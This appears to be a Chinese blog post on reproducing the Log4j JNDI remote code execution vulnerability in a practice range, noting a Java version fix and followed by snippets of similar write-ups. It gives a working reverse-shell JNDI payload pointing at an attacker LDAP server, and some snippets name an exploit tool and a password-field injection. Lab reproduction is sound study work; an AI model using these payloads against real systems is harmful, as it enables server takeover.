Apache Log4j任意代码执行复现

最新推荐文章于 2024-07-20 12:50:44 发布
原创 最新推荐文章于 2024-07-20 12:50:44 发布 · 654 阅读 · 1 ·
CC 4.0 BY-SA版权
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
文章标签：

#log4j #java #spring

这里主要说明因为java版本使用 java1.8.02导致复现失败，遇到的问题

这里会报错 提示 Exception in thread "LDAPListener client connection reader 的错误

需要到 Java Archive Downloads - Java SE 8  这里下载对应服务器版本的 8u201的版本

然后就可以正常使用了

${jndi:ldap://ip:1389/Basic/ReverseShell/ip/6666}

直接反弹命令

【漏洞复现】Apache Log4j2 远程代码执行漏洞
李同學的安全圈
07-20 1215
ApacheLog4j2是一个·基于Java的日志记录工具，该工具重写了Log4j框架，并且引入大量丰富的特性，该日志框架被大量用于业务系统开发，用来记录日志信息。由于Log4j2组件在处理程序日志记录时存在JNDI注入缺陷，未经授权的攻击者利用该漏洞，可向目标服务器发送精心构造的恶意数据，触发Log4j2组件解析缺陷，实现目标服务器的任意代码执行，获得目标服务器权限。......
【靶机实战】Apache Log4j2命令执行漏洞复现
qq_21039641的博客
07-04 1099
Apache Log4j2 是一个广泛使用的 Java 日志记录库，它允许开发者将日志信息输出到不同的目的地。2021年12月，一个严重的漏洞（CVE-2021-44228）被发现，这个漏洞允许攻击者通过构造特定的输入，利用 Log4j2 的 JNDI（Java Naming and Directory Interface）功能，远程执行任意代码。
掌控者-封神台-Apache Log4j任意代码执行复现
weixin_43821278的博客
04-06 6091
提示：文章写完后，目录可以自动生成，如何生成可参考右边的帮助文档 Apache Log4j任意代码执行复现一、工具二、靶场三、步骤总结 一、工具 JNDIExploit-1.2-SNAPSHOT.jar 二、靶场 看网页源码 猜测就是username和password为注入点 三、步骤 vps有java环境 java -jar JNDIExploit-1.2-SNAPSHOT.jar -i vps的IP 成功运行 向密码框填入${jndi:ldap://vps的IP:1389/Basic/Comm.
封神台Apache Log4j任意代码执行复现踩坑到复现成功版
JACKBREAK的博客
05-19 1499
log4j是Apache的一个开源项目，是一个基于Java的日志记录框架。Log4j2是log4j的后继者，被大量用于业务系统开发，记录日志信息。很多互联网公司以及耳熟能详的公司的系统都在使用该框架。Apache Log4j2 组件在开启了日志记录功能后，凡是在可触发错误记录日志的地方，插入漏洞利用代码，即可利用成功。特殊情况下，若该组件记录的日志包含其他系统的记录日志，则有可能造成间接投毒。通过中间系统，使得组件间接读取了具有攻击性的漏洞利用代码，亦可间接造成漏洞触发。
分析并复现Apache核弹级漏洞，利用Log4j2使目标服务器执行任意代码
我就说我500的博客
12-11 6755
12月9日晚间，ApacheLog4j2被曝光存在严重漏洞，可以随意执行任意远程代码，本贴将详细分析事故原因及实战复现此漏洞！ 一.事件详情 1.事件经过 2021年12月9日，国内多家机构监测到Apache log4j存在任意代码执行漏洞，并紧急通报相关情况。由于ApacheLog4j2某些功能存在递归解析功能，攻击者可直接构造恶意请求，触发远程代码执行漏洞。 该漏洞CVSS评分达到了满分10分，影响全球一大半的互联网企业，包括百度、苹果等企业都被爆出存在该漏洞，众多媒体将这个漏洞形容成“史诗级”“核.
Apache Log4j2(CVE-2021-4101)远程代码执行漏洞复现
今天是几号的博客
04-12 3518
Apache log4j是Apache的一个开源项目，Java的日志记录工具(同logback)。log4j2中存在JNDI注入漏洞，当程序记录用户输入的数据时，即可触发该漏洞。 影响范围 Apache Log4j 2.x
Apache Log4j2漏洞复现
最新发布
qq_62056583的博客
07-20 1093
复现并分析【CVE-2021044228】Apache Log4j2 Server 反序列化命令执行漏洞，使用docker技术搭建漏洞环境，在实验环境中复现该漏洞。
Apache log4j2远程代码执行漏洞复现
热门推荐
世间繁华梦一出
12-11 1万+
Apache log4j2 远程代码执行漏洞复现漏洞描述漏洞影响范围漏洞复现步骤：深度利用——反弹shell防御措施 漏洞描述 Apache Log4j2是一个基于Java的日志记录工具。该工具重写了Log4j框架，并且引入了大量丰富的特性。该日志框架被大量用于业务系统开发，用来记录日志信息。 在大多数情况下，开发者可能会将用户输入导致的错误信息写入日志中。攻击者利用此特性可通过该漏洞构造特殊的请求包，最终出发远程代码执行。该漏洞实际上是组件解析缺陷导致的。 漏洞影响范围 2.0 <= Apache
Apache Log4j2 远程代码执行漏洞复现
renyizou的博客
03-06 5182
靶场： Vulfocus 靶场环境 目前 Vulfocus 已经集成 Log4j2 环境，可通过以下链接启动环境测试：http://vulfocus.fofa.so/#/dashboard?image_id=3b8f15eb-7bd9-49b2-a69e-541f89c4216c 也可通过 docker pull vulfocus/log4j2-rce-2021-12-09:latest 拉取本地环境运行。 漏洞复现： 我是本地复现： 环境: *服务器地址：kali ip（192.168.30.1
Apache log4j远程代码执行漏洞复现
qq_46162550的博客
05-11 1995
Apache log4j远程代码执行漏洞复现（1） 漏洞原理：（2） 漏洞复现环境：（3） 漏洞复现过程： （1） 漏洞原理： Apache Log4j2 中存在JNDI注入漏洞，当程序将用户输入的数据进行日志记录时，即当log4j打印的日志内容中包含${jndi:ldap://my-ip}时，lookup会将jndi注入可执行语句执行，程序会通过ldap协议访问my-ip这个地址，然后my-ip就会返回一个包含java代码的class文件的地址，然后程序再通过返回的地址下载class文件并执行，从而达成漏
Log4j远程代码执行漏洞复现尝试
weixin_51194266的博客
06-29 748
log4j漏洞的简单复现
log4j远程代码执行漏洞复现-带源码简单包会
tqs314的博客
12-15 2499
一、本地搭建JNDI注入服务(参考 https://github.com/welk1n/JNDI-Injection-Exploit.git)，并启动 此类为1.8版本的需要远程执行的代码模块，可自定义 二、 创建maven项目引入log4j(2.14.0) 编写bug的入侵代码 public class Main { /** * 日志记录器 */ private static final Logger LOGGER = LogManager.g..
Log4j 任意代码执行漏洞，组件升级
Xzh_java的博客
11-30 468
任意代码执行2021 年 12 月 9 日，该项目被曝存在 严重安全漏洞 ，攻击者只需要向目标机传入一段特殊代码，就能触发漏洞，自由地在远程执行任意代码来控制目标机器！Apache Log4j 是 Apache 的一个开源项目，Apache Log4j2是一个基于Java的日志记录工具。该工具重写了Log4j框架，并且引入了大量丰富的特性。我们可以控制日志信息输送的目的地为控制台、文件、GUI组件等，通过定义每一条日志信息的级别，能够更加细致地控制日志的生成过程。
【漏洞复现】2.Apache Log4j2远程代码执行漏洞(CVE-2021-44228)复现及分析
Zichel77的博客
03-21 2552
Apache 是当今世界上非常流行的跨平台Web服务端，有着良好的扩充性。而Log4j则是Apache的开源组件，用于日志管理，功能强大。Log4j来源于 Apache 软件基金会的日志服务项目，是一种Java日志框架，从最初Log4j1发展到现在的Log4j2，已经广泛应用于各行各业的业务开发。2021年11月24日，阿里云安全团队向Apache官方报告了Apache Log4j2远程代码执行漏洞。
Apache Log4j2远程代码执行漏洞（CVE-2021-44228）复现
qq_40640917的博客
01-10 2697
Apache Log4j2 存在远程代码执行漏洞，该漏洞是由于Apache Log4j2某些功能存在递归解析功能，未经身份验证的攻击者通过发送特定恶意数据包，可在目标服务器上执行任意代码。Apache Log4j2是一个开源的Java日志框架，被广泛地应用在中间件、开发框架与Web应用中。攻击机参数：Kali（或安装有msfconsole的任意Linux/Windows操作系统）靶机容器：vulfocus/log4j2-rce-2021-12-09。靶机参数：Centos8.1。
【漏洞复现】Apache log4j RCE 远程代码执行漏洞(CVE-2021-44228)
qq_45244158的博客
12-14 6058
Log4j任意代码执行RCE（CVE-2021-44228）前言一、漏洞描述二、受影响的版本三、复现过程1.从Vulfocus靶场获取测试环境2.攻击过程四、修复建议1.升级到最新版本2.缓解措施3.流量查询 前言 2021年11月24日，阿里云安全团队正式向Apache报告了Apache Log4j2远程代码执行漏洞。由于Apache Log4j2的部分功能具有递归分析功能，攻击者可以直接构造恶意请求触发远程代码执行漏洞。 一、漏洞描述 Apache Log4j2 是一个基于 Java 的日志工具。这
Log4j远程代码执行漏洞环境搭建及复现
m0_71263989的博客
02-20 2232
Log4j2 是一个用于 Java 应用程序的成熟且功能强大的日志记录框架。它是 Log4j 的升级版本，相比于 Log4j，Log4j2 在性能、可靠性和灵活性方面都有显著的改进。
Apache Log4j Server 反序列化命令执行漏洞（CVE-2017-5645）复现
thelostworld
04-15 1732
由于最近项目遇到这个漏洞，复现学习一下。一、漏洞介绍Apache Log4j是一个用于Java的日志记录库，其支持启动远程日志服务器。Apache Log4j 2.8.2之前的2.x版本中存在安全漏洞。攻击者可利用该漏洞执行任意代码。二、漏洞环境https://github.com/vulhub/vulhub/tree/master/log4j/CVE-2017-5645执行如下命令启动漏洞环境d...
Log4j2远程代码执行漏洞项目案例分析
3. Log4j2 RCE漏洞细节：在本项目中提到的Log4j2 RCE漏洞，是指在Log4j2的特定版本中存在一个通过JNDI（Java Naming and Directory Interface）注入导致的远程代码执行漏洞。该漏洞允许攻击者通过精心构造的日志消息...
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
表情包 代码片
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值